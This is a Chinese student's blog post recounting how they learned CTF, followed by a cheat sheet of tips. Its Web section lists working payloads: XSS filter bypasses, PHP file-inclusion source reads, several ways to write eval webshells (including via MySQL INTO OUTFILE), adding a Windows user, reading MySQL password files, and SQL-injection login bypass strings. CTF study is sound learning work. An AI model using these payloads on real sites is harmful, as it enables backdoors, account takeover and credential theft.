从零开始的CTF学习过程
从零开始的CTF学习过程
在上大学之前，我是从来没有学习过任何编程知识的。不过我喜欢计算机，甚是喜欢这折腾的过程，从刚开始的学习使用、玩游戏、找外挂辅助，到后来的维修计算机。
上大学后，最先接触的编程语言是C。我自认为我学的是信息安全专业，只懂一门语言肯定是不够的。于是乎，我开始自学python及web前端和后端。不过在勉强入门后，有些迷茫，不知道怎么入门信息安全，感觉网上的教程都只是教人如何敲代码的而已。
不过我很幸运，遇到了一位老师，给我们提供了学习CTF（在此之前我完全不了解CTF）的入门资源及机会，让我初步入门CTF。此后，我们学校的学生组成了一个CTF队伍，在网上拼命地打比赛。虽然我们的战绩不太理想，但我们的排名也一次比一次高，我们偶尔也会尝到做出题的喜悦（平时基本是做不出题的），这是一个从零到一的过程。甚至，还曾参加过CTF线下赛。同时，我们也积累了很多CTF“作案”工具。
我对CTF中的Web和Cryptology较为感兴趣。就Cryptology而言， RSA密码是我最为感兴趣的，我甚至尝试过把质数都提前生成下来，中间还曾多次因为代码质量过低导致系统崩溃。虽然后来代码质量问题解决了，不过在生成了几十G的质数表后我就没继续了，毕竟效率太低了且时间成本太高了。
CTF心得
一、Web
- XSS 1. body标签绕过：<body onload=alert(1)> 2. 双写绕过：<sc<script>ript>alert(1)</script> 3. 大小写绕过：<ScRipt>alert(1)</script> 4. img标签绕过：<img src=xonError=alert(1)>
- web安全文件包含漏洞
获取源码：
http://xxx.com /index.php?file=php://filter/read=convert.base64-encode/resource=index.php写后门：http://xxx.com/index.php?file=php://input <?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?> - web安全文件上传漏洞
copy
普通图片.png/b+一句话木马.php1.php一句话木马： 1.<?php eval($_POST[a]);?> 2.<?php @eval(@$_REQUEST['a']);?> - web安全命令执行漏洞 net user test 123456 /add echo ^<?php eval($_POST[a]);?^> > a.php
- 数据库 查看当前数据库用户的权限 show GRANTS for CURRENT_USER(); 写入一句话木马文件 select '<?php @eval(&_POST[a]);?>' INTO OUTFILE '/var/www/html/errors.php'; 查看当前数据库存放路径 SELECT @@datadir; 把user.MYD文件中的数据库用户的密码信息导入到一张表中 load data infile "/var/lib/mysql/mysql/user.MYD" into TABLE test.q fields terminated by ' ' LINES TERMINATED BY '\0'
- SQL万能密码
- 1. "or"a"="a 2. '.).or.('.a.'='.a 3. or 1=1-- 4. 'or 1=1-- 5. a'or' 1=1-- 6. "or 1=1-- 7. 'or.'a.'='a 8. "or"="a'='a 9. 'or"=' 10. 'or'='or'
- SQL利用语句与函数解释 1. 1' 2. 1'or 1=1 order by 1 # 3. 1'or 1=2 union select 1,user from mysql.user
二、Cryptology
- 古典密码 百度、谷歌下基本都可以解决。
- 哈希密码 哈希拓展攻击、哈希碰撞……
- RSA 维纳、爆破、yafu……
- 其他 遇到新的不懂的，就百度、谷歌看看有没有类似的加密方式，触类旁通。
三、MISC
这个太杂了，反而不知道写什么好。当你拿到一个文件时，binwalk下，看看是不是单纯的一个文件。然后感觉该怎么办就怎么办……
四、RE，PWN
有文件时就本地调试或反编译，看有没有溢出、释放后引用、double free等漏洞。然后就开始尝试写poc吧。
另外，在极少数情况下，这些题还能够使用类似CE这种修改内存的工具解决。
最后，附上学习CTF的笔记链接：http://note.youdao.com/noteshare?id=72df985b71559a1103fc8558620d8488